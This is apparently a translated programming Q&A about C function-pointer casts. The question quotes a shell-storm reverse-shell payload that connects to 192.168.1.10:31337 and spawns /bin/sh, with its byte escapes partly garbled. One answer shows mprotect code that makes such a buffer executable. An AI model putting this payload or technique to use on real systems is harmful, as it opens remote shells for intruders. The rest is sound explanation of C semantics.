c语言 - int (*ret)() = (int(*)())code 是什么意思



这是shellstorm的代码副本:

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "xc0xa8x01x0a"
#define PORT "x7ax69"
unsigned char code[] =
"x31xc0x31xdbx31xc9x31xd2"
"xb0x66xb3x01x51x6ax06x6a"
"x01x6ax02x89xe1xcdx80x89"
"xc6xb0x66x31xdbxb3x02x68"
IPADDR"x66x68"PORT"x66x53xfe"
"xc3x89xe1x6ax10x51x56x89"
"xe1xcdx80x31xc9xb1x03xfe"
"xc9xb0x3fxcdx80x75xf8x31"
"xc0x52x68x6ex2fx73x68x68"
"x2fx2fx62x69x89xe3x52x53"
"x89xe1x52x89xe2xb0x0bxcd"
"x80";
main() 
{
printf("Shellcode Length: %dn", sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
}

谁能帮我解释一下这个"int (ret)() = (int()())code;"? 它是如何工作的?为什么它可以使上面的代码运行?

int(*ret)()

声明一个名为ret的函数指针;该函数接受未指定的参数并返回一个整数。

(int(*)())code

code数组强制转换为相同类型的函数指针。

因此,这会将code数组的地址转换为函数指针,然后允许您调用它并执行代码。

请注意,这在技术上是未定义的行为,因此不必以这种方式工作。但这就是几乎所有实现编译此代码的方式。像这样的shellcode预计不会是可移植的 -code数组中的字节取决于CPU架构和堆栈帧布局。

你应该读一本好的C编程书,比如Modern C。您甚至可以阅读此 C11 标准草案或查看此 C 参考网站。

int (*ret)()声明一个指向返回int-的函数的指针,而不指定参数(在 C 中)

然后= (int(*)())code;使用code的强制转换地址初始化ret

最后,ret();调用该函数指针,从而调用code数组中的机器代码。

顺便说一句,编译器(和链接器)可能会将code放在只读但不可执行的段中(这可能取决于您的程序的链接方式)。然后你的 shell 代码可能不起作用。

我建议在编译器中启用所有警告和调试信息。在 2020 年的 GCC 中,这意味着使用gcc -Wall -Wextra -g进行编译,然后使用 GDB。

在 Linux 上,您甚至可以使用 strace(1) 或 ltrace(1) 来理解可执行文件的行为。

int (*ret)()

将函数指针ret定义为返回具有未指定参数数的int的函数。

... = (int(*)())code;

unsigned char数组code转换为ret引用的函数类型,并将其分配给ret

此电话

ret();

然后执行存储在code中的操作码。

总而言之,这不是一件好事。

int (*)()是指向具有以下原型的函数的指针类型:

int func();

由于语言的解析方式和运算符的优先级,必须将星号放在括号中。此外,当声明该类型的指针变量时,变量的名称在星号之后而不是类型之后,例如它不是

int (*)() ret;

而是

int (*ret)();

在您的情况下,ret变量既是声明的,也是使用涉及的类型强制转换进行初始化的。

若要通过函数指针调用函数,可以使用更复杂的语法:

(*ret)();

或者更简单的:

ret();

最好使用前一种语法,因为它向代码的读者指示ret实际上是指向函数的指针,而不是函数本身。

现在,原则上代码实际上不应该工作。code[]数组被放置在初始化的数据段中,在大多数现代操作系统中,数据段是不可执行的,即调用ret();应该产生分段错误。例如,Linux 上的 GCC 将code变量放在.data部分:

.globl code
.data
.align 32
.type   code, @object
.size   code, 93
code:
.string "130013331...200"

然后.data部分进入不可执行的读写段:

$ readelf --segments code.exe
Elf file type is EXEC (Executable file)
Entry point 0x4003c0
There are 8 program headers, starting at offset 64
Program Headers:
Type           Offset             VirtAddr           PhysAddr
FileSiz            MemSiz              Flags  Align
PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
0x00000000000001c0 0x00000000000001c0  R E    8
INTERP         0x0000000000000200 0x0000000000400200 0x0000000000400200
0x000000000000001c 0x000000000000001c  R      1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000064c 0x000000000000064c  R E    100000
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
LOAD           0x0000000000000650 0x0000000000500650 0x0000000000500650
0x0000000000000270 0x0000000000000278  RW     100000
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
DYNAMIC        0x0000000000000678 0x0000000000500678 0x0000000000500678
0x0000000000000190 0x0000000000000190  RW     8
NOTE           0x000000000000021c 0x000000000040021c 0x000000000040021c
0x0000000000000020 0x0000000000000020  R      4
GNU_EH_FRAME   0x0000000000000594 0x0000000000400594 0x0000000000400594
0x0000000000000024 0x0000000000000024  R      4
GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000  RW     8
Section to Segment mapping:
Segment Sections...
00     
01     .interp
02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
.gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini
.rodata .eh_frame_hdr .eh_frame
03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
04     .dynamic
05     .note.ABI-tag
06     .eh_frame_hdr
07     

该段缺少可执行标志,即它只是RW而不是RWE,因此无法从该内存执行任何代码。事实上,运行该程序会导致存储在code中的第一个指令出错:

(gdb) run
Starting program: /tmp/code.exe 
Shellcode Length: 92
Program received signal SIGSEGV, Segmentation fault.
0x0000000000500860 in code ()
(gdb) up
#1  0x00000000004004a7 in main () at code.c:27
27     ret();
(gdb) print ret
$1 = (int (*)()) 0x500860 <code>

要使其正常工作,您可以使用posix_memalignmprotect的组合来分配内存页并使其可执行,然后将code[]的内容复制到其中:

// For posix_memalign()
#define _XOPEN_SOURCE 600
#include <stdlib.h>
// For memcpy()
#include <string.h>
// For sysconf()
#include <unistd.h>
// For mprotect()
#include <sys/mman.h>
size_t code_size = sizeof(code) - 1;
size_t page_size = sysconf(_SC_PAGESIZE);
int (*ret)();
printf("Shellcode Length: %dn", code_size);
posix_memalign(&ret, page_size, page_size);
mprotect(ret, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
memcpy(ret, code, code_size);
(*ret)();

另请注意,shell 代码使用int 0x80来调用 Linux 内核。如果程序在 64 位 Linux 系统上编译,这将无法开箱即用,因为使用不同的机制进行系统调用。 在这种情况下,应指定-m32以强制编译器生成 32 位可执行文件。

int (*ret)() = (int(*)())code;

int (*ret)()定义一个指针,该指针指向返回int并具有未指定数量的参数的函数;(int(*)())code是类型转换,让另一部分可以code视为函数指针,与ret类型相同。

顺便说一下,取决于code的内容 ,此代码可能仅适用于特定的 CPU 和操作系统组合,如果它甚至有效的话。

您的程序将产生未定义的行为。C99规范第6.2.5节第27段说:

指向 void 的指针应具有相同的表示和对齐方式 要求作为指向字符类型的指针。同样,指向的指针 兼容类型的合格或非合格版本应具有 相同的表示和对齐要求。所有指向的指针 结构类型应具有相同的表示和对齐方式 要求彼此。所有指向联合类型的指针都应具有 彼此相同的表示和对齐要求。指针 到其他类型不需要具有相同的表示或对齐方式 要求。

此外,在第6.3.2.3节第8段中,它还说:

指向

一种类型的函数的指针可以转换为指向 另一种类型的功能,然后再次返回;结果应比较 等于原始指针。

这意味着不应将函数指针分配给非函数指针,因为不能保证函数指针的大小与char指针或void指针的大小相同。现在这些事情都解决了,让我们来看看你的代码。

int (*ret)() = (int(*)())code;

让我们先来看 lhs。因此,它将ret定义为指向函数的指针,该函数采用固定但未知数量的参数和类型(听起来不太好)。在 rhs 上,您正在对数组进行类型转换code,该数组的计算结果是指向其第一个元素的指针,该元素与ret的类型相同。这是未定义的行为。由于上述原因,只能将函数指针分配给函数指针,而不能将指针分配给任何其他类型。此外,由于这个原因,运算符可能不会应用于函数指针sizeof

C++中,空参数列表表示void,但在C中并非如此,这意味着没有信息可用于检查调用者提供的参数列表。因此,您必须明确提及void。因此,您最好将该语句编写为,假设现在您的程序中定义了一个名为code的函数。

int code(void); 
int (*ret)(void) = (int(*)(void))code;

为了简化有关复杂C声明的事情,typedef可能会有所帮助。

typedef int (*myfuncptr)(void); 

这将类型myfuncptr定义为类型pointer to a function taking no arguments and returning an int。接下来,我们可以定义一个myfuncptr类型的变量,就像我们在C中定义任何类型的变量一样。但请注意,code必须与ret指向的函数类型具有相同的签名。如果使用myfuncptr强制转换任何其他类型的函数指针,则会导致未定义的行为。因此,这使得类型转换变得多余。

int code(void);
int foo(int);
myfuncptr ret = code; // typecasting not needed. Same as- myfuncptr ret = &code;
myfuncptr bar = (myfuncptr)foo;  // undefined behaviour.

当您将函数名称分配给相同类型的函数指针时,函数名称的计算结果为指针。您不需要使用运算符&的地址。同样,您可以调用指针指向的函数,而无需先取消引用它。

ret();     // call the function pointed to by ret
(*ret)()   // deferencing ret first.

有关详细信息,请阅读此内容 - 将函数指针转换为另一种类型。这里有一个关于如何在心理上解析复杂C声明的好资源 - 顺时针/螺旋规则。 另请注意,C标准只规定了两个可接受的main签名:

int main(void);
int main(int argc, char *argv[]);

最新更新